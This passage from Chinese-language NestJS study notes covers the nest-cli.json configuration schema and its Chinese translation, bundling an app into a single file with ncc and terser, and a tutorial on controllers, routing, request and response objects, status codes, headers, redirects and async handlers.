          "description": "If true, run in watch-mode, watching all non-TypeScript assets. Setting watchAssets in a top-level compilerOptions property overrides any watchAssets settings within the assets property."
        },
        "deleteOutDir": {
          "type": "boolean",
          "default": false,
          "description": "If true, whenever the compiler is invoked, it will first remove the compilation output directory (as configured in tsconfig.json, where the default is ./dist)."
        },
        "manualRestart": {
          "type": "boolean",
          "default": false,
          "description": "If true, enables the shortcut `rs` to manually restart the server."
        }
      },
      "additionalProperties": false
    },
    "AssetsOptions": {
      "$comment": "https://docs.nestjs.com/cli/monorepo#assets",
      "type": ["string", "object"],
      "description": "For finer control, the element can be object.",
      "properties": {
        "include": {
          "type": "string",
          "description": "Glob-like file specifications for the assets to be distributed."
        },
        "exclude": {
          "type": "string",
          "description": "Glob-like file specifications for the assets to be excluded from the include list."
        },
        "outDir": {
          "type": "string",
          "description": "A string specifying the path (relative to the root folder) where the assets should be distributed. Defaults to the same output directory configured for compiler output."
        },
        "watchAssets": {
          "type": "boolean",
          "description": "If true, run in watch mode watching specified assets. Setting watchAssets in a top-level compilerOptions property overrides any watchAssets settings within the assets property."
        }
      },
      "additionalProperties": false
    },
    "GenerateOptions": {
      "$comment": "https://docs.nestjs.com/cli/monorepo#global-generate-options",
      "type": "object",
      "description": "A map with keys specifying global generate options and values specifying the option setting. See https://docs.nestjs.com/cli/monorepo#global-generate-options for details",
      "properties": {
        "spec": {
          "$ref": "#/definitions/GenerateSpecOptions"
        },
        "flat": {
          "$ref": "#/definitions/GenerateFlatOptions"
        },
        "baseDir": {
          "$ref": "#/definitions/GenerateBaseDirOptions"
        }
      },
      "default": {},
      "additionalProperties": false
    },
    "GenerateFlatOptions": {
      "$comment": "https://docs.nestjs.com/cli/monorepo#global-generate-options",
      "type": "boolean",
      "default": false,
      "description": "If true, all generate commands will generate a flat structure"
    },
    "GenerateSpecOptions": {
      "$comment": "https://docs.nestjs.com/cli/monorepo#global-generate-options",
      "type": ["boolean", "object"],
      "description": "If the value is boolean, a value of true enables spec generation by default and a value of false disables it. A flag passed on the CLI command line overrides this setting, as does a project-specific generateOptions setting (more below). If the value is an object, each key represents a schematic name, and the boolean value determines whether the default spec generation is enabled / disabled for that specific schematic. See https://docs.nestjs.com/cli/monorepo#global-generate-options for details.",
      "properties": {
        "application": {
          "type": "boolean",
          "description": "Generate spec file for application schematics or not."
        },
        "class": {
          "type": "boolean",
          "description": "Disable spec file generation for class schematics."
        },
        "cl": {
          "type": "boolean",
          "description": "Alias for class"
        },
        "configuration": {
          "type": "boolean",
          "description": "Generate spec file for configuration schematics or not."
        },
        "config": {
          "type": "boolean",
          "description": "Alias for configuration"
        },
        "controller": {
          "type": "boolean",
          "description": "Generate spec file for controller schematics or not."
        },
        "co": {
          "type": "boolean",
          "description": "Alias for controller"
        },
        "decorator": {
          "type": "boolean",
          "description": "Generate spec file for decorator schematics or not."
        },
        "d": {
          "type": "boolean",
          "description": "Alias for decorator"
        },
        "filter": {
          "type": "boolean",
          "description": "Generate spec file for filter schematics or not."
        },
        "f": {
          "type": "boolean",
          "description": "Alias for filter"
        },
        "gateway": {
          "type": "boolean",
          "description": "Generate spec file for gateway schematics or not."
        },
        "ga": {
          "type": "boolean",
          "description": "Alias for gateway"
        },
        "guard": {
          "type": "boolean",
          "description": "Generate spec file for guard schematics or not."
        },
        "gu": {
          "type": "boolean",
          "description": "Alias for guard"
        },
        "interceptor": {
          "type": "boolean",
          "description": "Generate spec file for interceptor schematics or not."
        },
        "in": {
          "type": "boolean",
          "description": "Alias for interceptor"
        },
        "interface": {
          "type": "boolean",
          "description": "Generate spec file for interface schematics or not."
        },
        "middleware": {
          "type": "boolean",
          "description": "Generate spec file for middleware schematics or not."
        },
        "mi": {
          "type": "boolean",
          "description": "Alias for middleware"
        },
        "module": {
          "type": "boolean",
          "description": "Generate spec file for module schematics or not."
        },
        "mo": {
          "type": "boolean",
          "description": "Alias for module"
        },
        "pipe": {
          "type": "boolean",
          "description": "Generate spec file for pipe schematics or not."
        },
        "pi": {
          "type": "boolean",
          "description": "Alias for pipe"
        },
        "provider": {
          "type": "boolean",
          "description": "Generate spec file for provider schematics or not."
        },
        "pr": {
          "type": "boolean",
          "description": "Alias for provider"
        },
        "resolver": {
          "type": "boolean",
          "description": "Generate spec file for resolver schematics or not."
        },
        "r": {
          "type": "boolean",
          "description": "Alias for resolver"
        },
        "service": {
          "type": "boolean",
          "description": "Generate spec file for service schematics or not."
        },
        "s": {
          "type": "boolean",
          "description": "Alias for resolver"
        },
        "library": {
          "type": "boolean",
          "description": "Generate spec file for library schematics or not."
        },
        "lib": {
          "type": "boolean",
          "description": "Alias for library"
        },
        "sub-app": {
          "type": "boolean",
          "description": "Generate spec file for sub-app schematics or not."
        },
        "app": {
          "type": "boolean",
          "description": "Alias for sub-app"
        },
        "resource": {
          "type": "boolean",
          "description": "Generate spec file for resource schematics or not."
        },
        "res": {
          "type": "boolean",
          "description": "Alias for resource"
        }
      },
      "additionalProperties": false
    },
    "GenerateBaseDirOptions": {
      "type": "string",
      "default": "",
      "description": "Base directory"
    },
    "ProjectConfiguration": {
      "type": "object",
      "properties": {
        "type": {
          "type": "string"
        },
        "root": {
          "type": "string"
        },
        "entryFile": {
          "type": "string"
        },
        "sourceRoot": {
          "type": "string"
        },
        "compilerOptions": {
          "$ref": "#/definitions/CompilerOptions"
        },
        "generateOptions": {
          "$ref": "#/definitions/GenerateOptions"
        }
      },
      "additionalProperties": false
    },
    "PluginItems": {
      "$comment": "https://docs.nestjs.com/openapi/cli-plugin#using-the-cli-plugin",
      "type": ["string", "object"],
      "properties": {
        "name": {
          "type": "string",
          "description": "The npm package name of the cli plugin, eg @nestjs/swagger."
        },
        "options": {
          "anyOf": [
            {
              "$ref": "#/definitions/PluginOptions"
            },
            {
              "$ref": "#/definitions/GraphQLPluginOptions"
            },
            {
              "$ref": "#/definitions/SwaggerPluginOptions"
            }
          ]
        }
      }
    },
    "PluginOptions": {
      "type": "object",
      "properties": {
        "introspectComments": {
          "type": "boolean",
          "default": true,
          "description": "If set to true, plugin will generate descriptions and example values for properties based on comments."
        }
      }
    },
    "GraphQLPluginOptions": {
      "$comment": "https://docs.nestjs.com/graphql/cli-plugin#using-the-cli-plugin",
      "type": "object",
      "properties": {
        "typeFileNameSuffix": {
          "type": "array",
          "default": [".input.ts", ".args.ts", ".entity.ts", ".model.ts"],
          "description": "(GraphQL Only) GraphQL types files suffix. Default value: ['.input.ts', '.args.ts', '.entity.ts', '.model.ts']. See https://docs.nestjs.com/graphql/cli-plugin#using-the-cli-plugin for details."
        }
      }
    },
    "SwaggerPluginOptions": {
      "$comment": "https://docs.nestjs.com/openapi/cli-plugin#using-the-cli-plugin",
      "type": "object",
      "properties": {
        "dtoFileNameSuffix": {
          "type": "array",
          "items": {
            "type": "string"
          },
          "default": [".dto.ts", ".entity.ts"],
          "description": "(Swagger Only) DTO (Data Transfer Object) files suffix. Default value: ['.dto.ts', '.entity.ts']. See https://docs.nestjs.com/openapi/cli-plugin#using-the-cli-plugin for details"
        },
        "controllerFileNameSuffix": {
          "type": "string",
          "default": ".controller.ts",
          "description": "(Swagger Only) Controller files suffix. See https://docs.nestjs.com/openapi/cli-plugin#using-the-cli-plugin for details"
        },
        "classValidatorShim": {
          "type": "boolean",
          "default": true,
          "description": "(Swagger Only) If set to true, the module will reuse class-validator validation decorators (e.g. @Max(10) will add max: 10 to schema definition). See https://docs.nestjs.com/openapi/cli-plugin#using-the-cli-plugin for details"
        },
        "dtoKeyOfComment": {
          "type": "string",
          "default": "description",
          "description": "(Swagger Only) The property key to set the comment text to on ApiProperty. See https://docs.nestjs.com/openapi/cli-plugin#using-the-cli-plugin for details"
        },
        "controllerKeyOfComment": {
          "type": "string",
          "default": "description",
          "description": "(Swagger Only) The property key to set the comment text to on ApiOperation. See https://docs.nestjs.com/openapi/cli-plugin#using-the-cli-plugin for details"
        }
      }
    }
  },
  "properties": {
    "language": {
      "type": "string",
      "default": "ts"
    },
    "collection": {
      "type": "string",
      "default": "@nestjs/schematics",
      "description": "Points at the collection of schematics used to generate components. you generally should not change this value."
    },
    "sourceRoot": {
      "$comment": "https://github.com/nestjs/nest-cli/blob/master/actions/add.action.ts",
      "type": "string",
      "default": "src",
      "description": "Points at the root of the source code for the single project in standard mode structures, or the default project in monorepo mode structures."
    },
    "entryFile": {
      "$comment": "https://github.com/nestjs/nest-cli/blob/master/actions/start.action.ts",
      "type": "string",
      "default": "main",
      "description": "The entry file where 'nest start' work with. Default to 'main'."
    },
    "monorepo": {
      "type": "boolean",
      "description": "(monorepo only) For a monorepo mode structure, this value is always true.",
      "default": false
    },
    "root": {
      "type": "string",
      "description": "(monorepo only) Points at the project root of the default project.",
      "default": ""
    },
    "compilerOptions": {
      "$ref": "#/definitions/CompilerOptions"
    },
    "generateOptions": {
      "$ref": "#/definitions/GenerateOptions"
    },
    "projects": {
      "type": "object",
      "additionalProperties": {
        "$ref": "#/definitions/ProjectConfiguration"
      },
      "default": {}
    },
    "defaultLibraryPrefix": {
      "type": "string",
      "description": "Default import prefix for newly generated libraries.",
      "default": "@app"
    }
  },
  "title": "Nest CLI configuration",
  "type": "object"
}
```

:::

::: details 中文版

```json
{
  "$schema": "http://json-schema.org/draft-07/schema#",
  "$id": "https://json.schemastore.org/nest-cli.json",
  "$comment": "https://docs.nestjs.com/cli/monorepo#cli-properties（备注：NestJS CLI monorepo 模式下属性说明）",
  "definitions": {
    "CompilerOptions": {
      "$comment": "https://docs.nestjs.com/cli/monorepo#global-compiler-options（全局编译选项）",
      "type": "object",
      "description": "一个映射对象，其键指定编译器选项，值指定该选项的设置。详细说明见 NestJS 文档。",
      "default": {},
      "properties": {
        "tsConfigPath": {
          "$comment": "tsconfig.json 文件路径（monorepo 专用）",
          "default": "tsconfig.build.json",
          "type": "string",
          "description": "指向包含 tsconfig.json 设置的文件，当 nest build 或 nest start 在未指定 project 选项时将使用该文件。"
        },
        "builder": {
          "anyOf": [
            {
              "$comment": "构建器类型（字符串形式）",
              "default": "tsc",
              "type": "string",
              "enum": ["tsc", "webpack", "swc"],
              "description": "要使用的构建器类型（tsc、webpack、swc）。有关 SWC 配置，请参考官方文档。"
            },
            {
              "type": "object",
              "properties": {
                "type": {
                  "$comment": "构建器类型（对象形式）",
                  "default": "tsc",
                  "type": "string",
                  "enum": ["tsc", "webpack", "swc"],
                  "description": "指定构建器类型（tsc、webpack、swc）。"
                },
                "options": {
                  "type": "object",
                  "properties": {
                    "outDir": {"type": "string","description": "输出目录。"},
                    "filenames": {"type": "array","items": {"type": "string"},"description": "包含的文件名数组。"},
                    "sync": {"type": "boolean","description": "是否同步文件。"},
                    "extensions": {"type": "array","items": {"type": "string"},"description": "要考虑的文件扩展名。"},
                    "copyFiles": {"type": "boolean","description": "是否复制文件。"},
                    "includeDotfiles": {"type": "boolean","description": "是否包含隐藏文件（点文件）。"},
                    "quiet": {"type": "boolean","description": "是否静默输出日志。"},
                    "watch": {"type": "boolean","description": "是否启用文件监控模式。"},
                    "swcrcPath": {"type": "string","description": "SWC 配置文件路径。"}
                  }
                }
              }
            }
          ]
        },
        "typeCheck": {"$comment":"类型检查","default": false,"type": "boolean","description": "如果为 true，则启用类型检查（仅 SWC 构建器有效）。"},
        "webpack": {"$comment":"Webpack 选项（已废弃）","default": false,"type": "boolean","description": "如果为 true，则使用 webpack 编译器（已废弃，建议使用 builder）。"},
        "webpackConfigPath": {"$comment":"Webpack 配置路径","default": "webpack.config.js","type": "string","description": "Webpack 配置文件路径，如果未指定，则默认查找 webpack.config.js。"},
        "plugins": {"$comment":"CLI 插件配置","default": [],"type": "array","items": {"$ref": "#/definitions/PluginItems"}},
        "assets": {"$comment":"非 TypeScript 资源配置","default": [],"type": "array","items": {"$ref": "#/definitions/AssetsOptions"},"description": "启用在每次编译开始时自动分发非 TypeScript 资源，可使用 glob 字符串或对象。"},
        "watchAssets": {"default": false,"type": "boolean","description": "如果为 true，则监控所有非 TypeScript 资源。"},
        "deleteOutDir": {"type": "boolean","default": false,"description": "如果为 true，则每次编译前删除输出目录。"},
        "manualRestart": {"type": "boolean","default": false,"description": "如果为 true，则启用 rs 命令手动重启服务器。"}
      },
      "additionalProperties": false
    },
    "AssetsOptions": {
      "$comment": "资源选项配置（可为字符串或对象）",
      "type": ["string","object"],
      "description": "指定要分发的资源文件，可为字符串或对象。",
      "properties": {
        "include": {"type": "string","description": "匹配要分发的资源文件的 glob 模式。"},
        "exclude": {"type": "string","description": "排除的资源文件 glob 模式。"},
        "outDir": {"type": "string","description": "分发目标目录（相对于根目录），默认同编译输出目录。"},
        "watchAssets": {"type": "boolean","description": "如果为 true，则监控指定资源文件。"}
      },
      "additionalProperties": false
    },
    "GenerateOptions": {
      "$comment": "生成命令全局选项",
      "type": "object",
      "description": "全局 generate 命令选项映射。",
      "properties": {
        "spec": {"$ref": "#/definitions/GenerateSpecOptions"},
        "flat": {"$ref": "#/definitions/GenerateFlatOptions"},
        "baseDir": {"$ref": "#/definitions/GenerateBaseDirOptions"}
      },
      "default": {},
      "additionalProperties": false
    }
  },
  "properties": {
    "language": {"type": "string","default": "ts"},
    "collection": {"type": "string","default": "@nestjs/schematics","description": "指定用于生成组件的 schematics 集合，通常无需更改。"},
    "sourceRoot": {"type": "string","default": "src","description": "源代码根目录，标准模式为单项目根，monorepo 模式为默认项目根。"},
    "entryFile": {"type": "string","default": "main","description": "入口文件，nest start 将从此文件启动应用。"},
    "monorepo": {"type": "boolean","default": false,"description": "仅 monorepo 模式使用，值为 true。"},
    "root": {"type": "string","default": "","description": "默认项目根目录（monorepo 模式）。"},
    "compilerOptions": {"$ref": "#/definitions/CompilerOptions"},
    "generateOptions": {"$ref": "#/definitions/GenerateOptions"},
    "projects": {"type": "object","additionalProperties": {"$ref": "#/definitions/ProjectConfiguration"},"default": {}},
    "defaultLibraryPrefix": {"type": "string","default": "@app","description": "新生成库默认 import 前缀。"}
  },
  "title": "Nest CLI 配置（中文翻译）",
  "type": "object"
}
```

:::

## 打包为单个文件

[pkg](https://www.npmjs.com/package/pkg) 可以把 Node.js 项目连同 Node 运行时一起打包成一个 exe / bin 文件，支持 Windows / Linux / macOS。

**注意**：

* pkg 不支持动态 `require()`，Nest 的一些模块（例如动态加载模块、外部 JSON 配置）可能需要调整。
* 一些本地依赖文件可能需要手动指定 `assets` 打包。

[@vercel/ncc](https://www.npmjs.com/package/@vercel/ncc) 可以把 Node.js 项目打包成单个文件。

### 步骤

安装 ncc：

```bash
npm i -D @vercel/ncc
```

编译 Nest 项目：

```bash
nest build
```

用 ncc 打包：

```bash
ncc build dist/main.js -o dist-bundle
```

运行：

```bash
node dist-bundle/index.js
```

特点：

* 支持大多数 Node.js 模块
* 会把依赖打包进一个 JS 文件
* 可结合 PM2 或 Docker 部署

Node 本身对模块是按需加载的，所以一般不需要把 `node_modules` 全部打包。

打包成单个 JS 文件（比如用 `ncc`）的主要好处是 **提升启动性能**，因为不再有大量的文件 I/O 去加载各个模块，而是直接加载一个捆绑好的文件。

对于 Nest 应用来说，单文件打包对部署也更方便（少文件拷贝），而且依赖管理仍然可以通过 `package.json` 来维护。

***

打包后的文件中**可能有不少“可读性成本”**：注释、空行、长变量名。而这些对运行没啥用，完全可以压。

ncc 有 `--minify`，会把 bundle 进一步压一遍（去注释、压缩空白、缩短一些结构）。

```bash
ncc build dist/main.js -o dist-bundle --minify
```

ncc 输出后，再用 terser 压一次，效果一般比 ncc 自带更明显（尤其去注释、压 whitespace）。

```bash
npx terser dist-bundle/index.js \
  -c passes=2 \
  -m \
  --comments false \
  -o dist-bundle/index.min.js
```

***

生成的 `dist-bundle/index.js` 就是 **独立启动的单文件**

依赖按需内联，提高启动速度，同时仍保留 Node 的模块解析优势

---

---
url: /nest/ao5azb7c/index.md
---
# 控制器
**创建新项目**

```bash
npm i -g @nestjs/cli
```

```bash
nest new project-name
```

| 核心文件                 | 概述                                                          |
| ------------------------ | ------------------------------------------------------------- |
| `app.controller.ts`      | 具有单一路由的基本控制器。                                    |
| `app.controller.spec.ts` | 控制器的单元测试。                                            |
| `app.module.ts`          | 应用的根模块。                                                |
| `app.service.ts`         | 具有单一方法的基本服务。                                      |
| `main.ts`                | 使用核心函数 `NestFactory` 创建 Nest 应用实例的应用入口文件。 |

## 控制器 & 路由{#controllers-routing}

> \[!tip]
> 内置 [validation](https://nest.nodejs.cn/techniques/validation) 的 CRUD 控制器：
>
> 指的是基本的增删改查（Create, Read, Update, Delete）操作的控制器时，系统已经内置了数据验证机制。这意味着在处理请求时，数据会自动进行验证，确保符合预定义的规则，比如字段的类型、是否为空、格式等，从而提升系统的健壮性和安全性。

CLI创建控制器：`nest g controller [name]`

控制器的目的是处理应用的特定请求，通常，一个控制器会定义**多个路由**，每个路由都执行不同的操作。

`@Controller()` 装饰器是定义基本控制器所必需的，可以指定一个可选的路由前缀，比如 "cats"。

使用 `@Controller()` 装饰器中的路径前缀，有助于将相关的路由组织在一起，避免代码重复。

```ts {4,6}

import { Controller, Get } from '@nestjs/common';

@Controller('cats')
export class CatsController {
  @Get()
  findAll(): string {
    return 'This action returns all cats';
  }
}
```

`@Get()` HTTP 请求方法装饰器告诉 Nest 为 HTTP 请求的特定端点创建处理程序。

此端点由 HTTP 请求方法和路由路径定义，路由路径则是控制器声明的（可选）前缀与方法装饰器中指定的任何路径相结合来确定

上面代码中，每个路由设置了一个前缀 (`cats`)，并且没有在方法装饰器中添加任何特定路径，因此 Nest 会将 `GET /cats` 请求映射到此处理程序。

**总结**：路由路径包括可选的控制器路径前缀和方法装饰器中指定的任何路径字符串。例如，如果控制器前缀是 `cats` 并且方法装饰器是 `@Get('breed')`，则生成的路由将是 `GET /cats/breed`。

当向此端点触发 GET 请求时，Nest 会将请求路由到用户定义的 `findAll()` 方法，这个方法会返回200状态码以及相关请求。

可以有两种选项操纵响应：

* 标准（推荐）：

  使用此内置方法，**当请求处理程序返回 JavaScript 对象或数组时，它将自动序列化为 JSON**。然而，当它返回 JavaScript 基本类型（例如 `string`、 `number`、 `boolean`）时，Nest 将仅发送该值，而不尝试对其进行序列化。这使得响应处理变得简单：只需返回值，Nest 就会处理剩下的事情。

  默认情况下，响应的**状态代码**始终为 200，但使用 201 的 POST 请求除外。我们可以通过在处理程序级别添加 `@HttpCode(...)` 装饰器来轻松更改此行为

* 库特定

​	我们可以使用特定于库的（例如 Express） [响应对象](https://express.nodejs.cn/en/api.html#res)，它可以使用方法处理程序签名中的 `@Res()` 装饰器注入（例如 `findAll(@Res() response)`）。通过	这种方法，你可以使用该对象公开的原生响应处理方法。例如，使用 Express，你可以使用 `response.status(200).send()` 等代码构建响应。

如果同时使用两种方法，则该单一路由的标准方法将自动禁用，并且将不再按预期工作。要同时使用这两种方法（例如，通过注入响应对象来仅设置 cookies/headers，但仍将其余部分留给框架），你必须在 `@Res({ passthrough: true })` 装饰器中将 `passthrough` 选项设置为 `true`。

```ts
  @Get()
  getCats(@Res({ passthrough: true }) res: Response) {
    res.status(404);
    res.setHeader('Cache-Control', 'no-store');
    res.setHeader('Content-Type', 'application/json');
    res.setHeader('X-Custom-Header', 'test');
    return {
      name: 'Tom',
      age: 18,
      breed: 'Siamese',
    };
  }
```

::: important
注意引入 `Response` 类型，否则下面的setHeader 会报错

```ts
import { Response } from 'express';
```

:::

## 请求对象{#request-object}

处理程序通常需要访问客户端的请求详细信息，通过 `@Req()` 装饰器注入请求对象来访问请求对象。

```ts {7}
import { Controller, Get, Req } from '@nestjs/common';
import { Request } from 'express';

@Controller('cats')
export class CatsController {
  @Get()
  findAll(@Req() request: Request): string {
    return 'This action returns all cats';
  }
}
```

> \[!important]
>
> 要利用 `express` 类型（如上面的 `request: Request` 参数示例），请确保安装 `@types/express` 包。

请求对象包含查询字符串、参数、HTTP 标头和正文的属性，完整阅读更多 [Express请求](https://express.nodejs.cn/en/api.html#req)

在大多数情况下，你不需要手动访问这些属性。相反，你可以使用专用装饰器，如 `@Body()` 或 `@Query()`，它们是开箱即用的。

| 装饰器                     | 相应平台特定对象                    |
| -------------------------- | ----------------------------------- |
| `@Request(), @Req()`       | `req`                               |
| `@Response(), @Res()` | `res`                               |
| `@Next()`                  | `next`                              |
| `@Session()`               | `req.session`                       |
| `@Param(key?: string)`     | `req.params` / `req.params[key]`    |
| `@Body(key?: string)`      | `req.body` / `req.body[key]`        |
| `@Query(key?: string)`     | `req.query` / `req.query[key]`      |
| `@Headers(name?: string)`  | `req.headers` / `req.headers[name]` |
| `@Ip()`                    | `req.ip`                            |
| `@HostParam()`             | `req.hosts`                         |

当你在处理函数中注入 `@Res()` 或 `@Response()` 时，Nest 将该处理程序置于**库特定模式**（library-specific mode）。在这种模式下，**你需要手动管理响应的发送**，例如使用 `res.json(...)` 或 `res.send(...)`。如果你不这样做，HTTP 请求将会挂起。

但如果你使用 `@Res({ passthrough: true })`，则可以**同时保留标准模式的特性**，即允许你返回一个值，由 Nest 自动处理响应。这种方式在需要访问底层响应对象的同时，仍可使用框架默认的响应流程。

* 使用 `@Res()` 会切换到底层（Express/Fastify）模式
* **必须手动处理响应，否则请求挂起**
* 使用 `{ passthrough: true }` 可以“两全其美”：访问响应对象 + 自动响应

## 资源{#resources}

在 Nest 中有所有标准的 Http 方法都有对应的装饰器：

`@Get()`、`@Post()`、`@Put()`、`@Delete()`、`@Patch()`、`@Options()` 和 `@Head()`。此外，`@All()` 定义了一个端点来处理所有这些。

## 路由通配符{#route-wildcards}

NestJS 也支持基于模式的路由。例如，星号（`*`）可用作通配符，以匹配路径末尾路由中的任意字符组合。

```js
@Get('abcd/*')
findAll() {
  return 'This route uses a wildcard';
}
```

任何以 `abcd/` 开头的路由，都将执行 `findAll()` 方法，无论后面有多少个字符

通配符也可以位于中间，例如 `@Get('abcd/*/efgh')`，这将匹配所有以 `abcd/` 开头并以 `/efgh` 结尾的路径。

## 状态码{#status-code}

可以通过在处理程序级别使用 `@HttpCode(...)` 装饰器轻松更改响应的状态代码，响应的默认状态代码始终为 200，但 POST 请求除外，其默认为 201。

```js
@Post()
@HttpCode(204)
create() {
  return 'This action adds a new cat';
}
```

需要从 `@nestjs/common` 包中导入 `HttpCode`。

通常，你的状态代码不是静态的，而是取决于各种因素。在这种情况下，你可以使用特定于库的响应（使用 `@Res()` 注入）对象（或者，如果发生错误，则抛出异常）。

::: details 示例

```js
import { Controller, Get, Res, Query, HttpException, HttpStatus } from '@nestjs/common';
import { Response } from 'express';

@Controller('users')
export class UserController {
  @Get('check')
  checkUser(@Query('id') id: string, @Res() res: Response) {
    if (!id) {
      // 动态返回 400 Bad Request
      throw new HttpException('User ID is required', HttpStatus.BAD_REQUEST);
    }

    const userExists = id === '123'; // 模拟查找

    if (userExists) {
      // 动态返回 200 OK
      return res.status(200).json({ message: 'User found', id });
    } else {
      // 动态返回 404 Not Found
      return res.status(404).json({ message: 'User not found' });
    }
  }
}

```

:::

## Req & Res{#req-res}

| 对象              | 作用                                                                     |
| ----------------- | ------------------------------------------------------------------------ |
| `req`（Request）  | 代表客户端发来的请求，例如 headers、body、query、params 等               |
| `res`（Response） | 表示服务器准备发送的响应，调用 `res.send()`、`res.json()` 就是用它来回复 |

**NestJS 的两种响应处理模式**

| 模式                            | 特征                                                         | 适合场景                 |
| ------------------------------- | ------------------------------------------------------------ | ------------------------ |
| **标准模式**（默认）            | 你只需 `return` 数据，Nest 会自动调用 `res.json(...)`        | 推荐使用                 |
| **库特定模式**（使用 `@Res()`） | 你需要自己调用 `res.send()`、`res.json()` 等，否则请求会挂起 | 需要自定义响应行为时使用 |

```js
// 标准模式（自动响应）
@Get('user')
getUser() {
  return { name: 'Alice' }; // Nest 自动 res.json({ ... })
}

// 特定模式 （手动响应）
@Get('user')
getUser(@Res() res: Response) {
  res.json({ name: 'Alice' }); // 你必须手动调用，否则导致“请求挂起”问题
}
```

**混合模式**

```js
@Get('user')
getUser(@Res({ passthrough: true }) res: Response) {
  res.setHeader('X-Custom', 'Nest'); // 你可以设置响应头
  return { name: 'Alice' }; // Nest 会自动调用 res.json(...)
}
// 既可以访问底层对象，又不失去自动响应能力
```

`@Res({ passthrough: true })`的本质是允许你访问底层的响应对象（Express/Fastify），但不阻止 Nest 的自动响应处理机制。

默认情况下的 `@Res()` 是“全权接管响应”的，当你使用 `@Res()` 时，NestJS 会把响应控制权**交给你**，你必须自己调用 `res.send()` 或 `res.json()`，否则 HTTP 请求会挂起，Nest 不会再帮你做：设置状态码，设置响应头，处理你 `return` 的返回值。

加了 `passthrough: true` 后，NestJS 会保留你访问底层响应对象（`res`）的能力，依然会处理你在函数里 `return` 的返回值，响应仍由 Nest 自动 `.json()` 或 `.send()` 处理，你可以手动设置 headers、cookies 等。

```js
@Get()
getHello(@Res({ passthrough: true }) res: Response) {
  res.setHeader('X-Powered-By', 'NestJS');
  return { message: 'Hello' }; // Nest 会自动 res.json(...)
}
```

## 响应头{#response-headers}

要指定自定义响应标头，你可以使用 `@Header()` 装饰器或库特定的响应对象（并直接调用 `res.header()`）。

需要从 `@nestjs/common` 包中导入 `Header`。

| 方法              | 来源          | 使用方式                                                | 是否链式   | 生命周期控制                          | 推荐场景                   |
| ----------------- | ------------- | ------------------------------------------------------- | ---------- | ------------------------------------- | -------------------------- |
| `res.setHeader()` | Node.js 原生  | `res.setHeader('Cache-Control', 'no-store')`            | 否       | 最底层，立即设置                      | 推荐，通用性强           |
| `res.header()`    | Express 封装  | `res.header('Cache-Control', 'no-store')`               | 支持链式 | 基于 Express 实现                     | Express 项目中方便好用   |
| `@Header()`       | NestJS 装饰器 | `@Header('Cache-Control', 'no-store')` 放在控制器方法上 |  否       | Nest 自动设置响应头（在 `return` 前） | 推荐用于简单设置响应头时 |

`res.header`允许链式调用：

```js
res.header('A', 'x').header('B', 'y').status(200).send()
```

## 重定向{#redirection}

要将响应重定向到特定 URL，你可以使用 `@Redirect()` 装饰器或库特定的响应对象（并直接调用 `res.redirect()`）。

`@Redirect()` 有两个参数，`url` 和 `statusCode`，两者都是可选的。如果省略，`statusCode` 的默认值为 `302` (`Found`)。

```typescript
@Get()
@Redirect('https://nest.nodejs.cn', 301)
```

动态确定 HTTP 状态代码或重定向 URL。通过返回遵循 `HttpRedirectResponse` 接口（来自 `@nestjs/common`）的对象来完成此操作。

```ts
export interface HttpRedirectResponse {
    url: string;
    statusCode?: HttpStatus;
}
```

返回值将覆盖传递给 `@Redirect()` 装饰器的任何参数。例如：

```ts
@Get('docs')
@Redirect('https://nest.nodejs.cn', 302)
getDocs(@Query('version') version) {
  if (version && version === '5') {
    return { url: 'https://nest.nodejs.cn/v5/' };
  }
}
```

## 路由参数{#route-parameters}

当你需要接受动态数据作为请求的一部分时，要定义带有参数的路由，可以在路由路径中添加路由参数标记以从 URL 中捕获动态值。然后可以使用 `@Param()` 装饰器访问这些路由参数，该装饰器应添加到方法签名中。

```ts
@Get(':id')
findOne(@Param() params: any): string {
  console.log(params.id);
  return `This action returns a #${params.id} cat`;
}
```

`@Param()` 装饰器用于装饰方法参数（在上面的示例中为 `params`），使路由参数可作为方法内部该装饰方法参数的属性访问。如代码所示，你可以通过引用 `params.id` 来访问 `id` 参数。或者，你可以将特定的参数标记传递给装饰器，并在方法主体中直接按名称引用路由参数。

> \[!important]
> 从 `@nestjs/common` 包中导入 `Param`。

```ts

@Get(':id')
findOne(@Param('id') id: string): string {
  return `This action returns a #${id} cat`;
}
```

## 子域路由{#sub-domain-routing}

`@Controller` 装饰器可以采用 `host` 选项来要求传入请求的 HTTP 主机匹配某个特定值。

```ts
@Controller({ host: 'admin.example.com' })
export class AdminController {
  @Get()
  index(): string {
    return 'Admin page';
  }
}
```

与路由 `path` 类似，`host` 选项可以使用标记来捕获主机名中该位置的动态值。下面 `@Controller()` 装饰器示例中的主机参数令牌演示了这种用法。可以使用 `@HostParam()` 装饰器访问以这种方式声明的主机参数，应将其添加到方法签名中。

```ts
@Controller({ host: ':account.example.com' })
export class AccountController {
  @Get()
  getInfo(@HostParam('account') account: string) {
    return account;
  }
}
```

## 状态共享{#state-sharing}

相关文章：[单例模式和请求级作用域](../基础知识/nest-singletons-isolation)

## 异步性{#asynchronicity}

每个 `async` 函数都必须返回一个 `Promise`，Nest 会自动等待它完成（等待这个异步任务完成后再响应请求）。

```js
 @Get('a3')
  async getData(): Promise<string> {
    return new Promise(resolve => {
      setTimeout(() => resolve('服务器延迟1秒返回'), 1000);
    });
  }
```

**强调 async 函数返回 Promise**

它基于 **异步函数的自动等待机制**，你就可以：

* 用 `await` 写异步数据库、网络请求等逻辑；
* 返回的 `Promise` 会被 Nest **自动“解析”（await）**，响应才会发送出去；
* 你不需要自己 `.then()` 或写复杂回调。

Nest 不仅支持 `async/await` 写法，还支持把路由方法直接返回一个 **RxJS 的可观察对象（Observable）**。

Nest 会在内部自动订阅这个 Observable，等它返回值后再发送响应。

**RxJS** 是一个处理异步流的库，核心概念是 **Observable**（可观察对象）。

学习途径：

* https://rxjs.dev/
* https://cn.rx.js.org/
* https://rx.nodejs.cn/

可以把 `Observable` 类比成：

* 一个 **可以持续发出数据的“异步数据流”**（不像 Promise 只能发一次）；
* 它就像一个“事件发布者”，你可以“订阅”它；
* Nest 支持它，是因为很多场景需要**响应式数据流处理**（比如 WebSocket、消息队列、流式文件、连续事件）。

**对比 Promise 和 Observable**

| 特性         | `Promise`            | `Observable`（RxJS）                |
| ------------ | -------------------- | ----------------------------------- |
| 触发次数     | 只能触发一次         | 可以触发多次                        |
| 是否可取消   | 不可取消             | 可取消（unsubscribe）               |
| 支持组合操作 | 较弱（靠 then 链式） | 强大（map、filter、merge 等操作符） |
| 常用于       | 单次异步请求（HTTP） | 多次/流式异步任务（事件流、数据流） |

```ts
import { Controller, Get } from '@nestjs/common';
